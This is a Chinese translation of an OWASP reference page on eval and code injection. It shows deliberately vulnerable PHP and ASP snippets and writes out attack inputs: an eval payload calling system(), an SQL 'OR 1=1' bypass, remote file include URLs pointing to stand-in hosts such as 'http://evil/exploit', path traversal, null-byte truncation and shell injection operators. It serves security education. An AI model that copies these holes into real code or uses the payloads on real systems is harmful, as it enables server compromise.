(OWASP汉化)攻击系列大全(二十七):直接动态代码评估(Eval函数注入)

最后修订日期:12/6/2011

漏洞描述

这个攻击由一个不能正确检测用户在页面所输入参数的脚本组成。、远程用户能够通过提交一个特殊构造的URL来传输任意的代码到一个eval()函数,从而使得代码得到执行。
注意1:此攻击将执行与目标Web服务具有相同权限的代码,包括操作系统命令。
注意2:Eval注入经常发生在调用或处理一个需要调用大量的函数或设置大量的变量的程序中

风险因素

待定

例子

例一

在这个例子中,攻击者能够控制输入到eval()函数的全部或部分字符串

$myvar = "varname"; 
  $x = $_GET['arg']; 
  eval("\$myvar = \$x;"); 

这个传进”eval”的参数将会被解析成PHP,所以可以可以附加其他命令。比如,将”arg”的值设置为”10 ; system(\”/bin/echo uh-oh\”);”,这个代码能够在服务器”/bin/echo”目录中运行一个程序。

例二

接下来是一个SQL注入的例子。试想一下,一个网页具有两个字段允许用户输入用户名和密码。该页面后的代码将构造一个据用户名列表检查密码的SQL查询语句:

SELECT UserList.Username
FROM UserList
WHERE
UserList.Username = 'Username'
AND UserList.Password = 'Password'

如果这个查询语句返回的结果刚好一行,那么这个访问将被允许。但是,如果一个恶意的用户输入一个有效的用户名并且在密码栏中填入有效的代码(“‘ OR 1=1”),那么这个插叙语句将会被构造成这样:

SELECT UserList.Username
FROM UserList
WHERE
UserList.Username = 'Username'
AND UserList.Password = 'Password' OR '1'='1'

在上面的例子中,“Password”被假定为空白或一些无害的字符串。“1=1”始终为真,所以会有多行内容返回,从而获得访问权限。SQL解析器将忽略最后的的反转逗号。该技术可能会被改进以允许多个语句运行,甚至可以加载并运行外部程序。

例三

这是一个注入文件的例子。看一下这个PHP程序(它包含一个由请求指定的文件):

<?php
   $color = 'blue';
   if ( isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>
<form>
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>

开发人员以为这就能够保只加载blue.php和red.php。但是任何人都可以轻松地在COLOR中插入任意值,这有可能从文件注入代码:

  • nerable.php?COLOR=http://evil/exploit– 注入包含漏洞的远程托管文件。
  • lnerable.php?COLOR=C:\ftp\upload\exploit– 注入包含漏洞的上传文件。
  • lnerable.php?COLOR=..\..\..\..\ftp\upload\exploit 使用路径遍历,入包含漏洞的上传文件。
  • lnerable.php?COLOR=C:\notes.txt%00 使用空字符的示例,元字符截断.php后缀,允许访问除.php之外的其他文件。(只要PHP设置为“magic_quotes_gpc = On”可以阻止这种攻击,这是默认设置。)

例四

一个简单的URL,演示如何执行此攻击:

 http://some-page/any-dir/index.php?page=<?include($s);?>&s=http://malicious-page/cmd.txt?  

例五

命令注入存在于大多数允许以软件以编程方式执行命令行的系统。典型的命令注入的来源是调用system(), StartProcess(), java.lang.Runtime.exec()以及其他类似的API。
看一下下面这个简短的PHP程序,它运行一个名为funnytext的外部程序来替换用户发送的单词。

<HTML>
<?php
passthru ( " /home/user/phpguru/funnytext " 
           . $_GET['USER_INPUT'] );
?>

该程序可以以多种方式注入:
– `command` 将会执行 command。
– $(command) 将会执行 command。
– ; command 将会执行 command, 并且输出命令的结果。
– | command 将会执行 command, 并且输出命令的结果。
– && command 将会执行 command, 并且输出命令的结果。
– || command 将会执行 command, 并且输出命令的结果。
– \> /home/user/phpguru/.bashrc 将会覆盖 .bashrc文件。
– < /home/user/phpguru/.bashrc 将会发送 .bashrc 文件当作 funnytext的输入。
在调用方法之前,PHP提供[escapeshellarg()](http://www.php.net/manual/en/function.escapeshellarg.php "escapeshellarg()")和[escapeshellcmd()](http://www.php.net/manual/en/function.escapeshellcmd.php "escapeshellcmd()")来执行编码。然而,不要相信这些函数是完全安全的,也要进行验证/清理输入。

例六

下面这段代码因为没有对用户的输入(”username”)进行审查,所以其容易受到eval()注入。该程序将这个输入保存在一个txt文件中,然后服务器在不进行任何验证的情况下执行这个文件。在这种情况下,用户可以插入命令而不是用户名。

<%
    If not isEmpty(Request( "username" ) ) Then
        Const ForReading = 1, ForWriting = 2, ForAppending = 8
        Dim fso, f
        Set fso = CreateObject("Scripting.FileSystemObject")
        Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ), ForAppending, True)
        f.Write Request("username") & vbCrLf
        f.close
        Set f = nothing
        Set fso = Nothing
        %>
        <h1>List of logged users:</h1>
        <pre>
        <%
            Server.Execute( "userlog.txt" )
        %>
        </pre>
        <%
    Else
        %>
        <form>
            <input name="username" /><input type="submit" name="submit" />
        </form>
        <%
    End If
%>

相关的威胁代理

内部软件开发商

相关攻击

相关的漏洞

相关的控件

参考

  • http://secunia.com/cve_reference/CVE-2006-2005/?show_result=1
  • http://en.wikipedia.org/wiki/Code_injection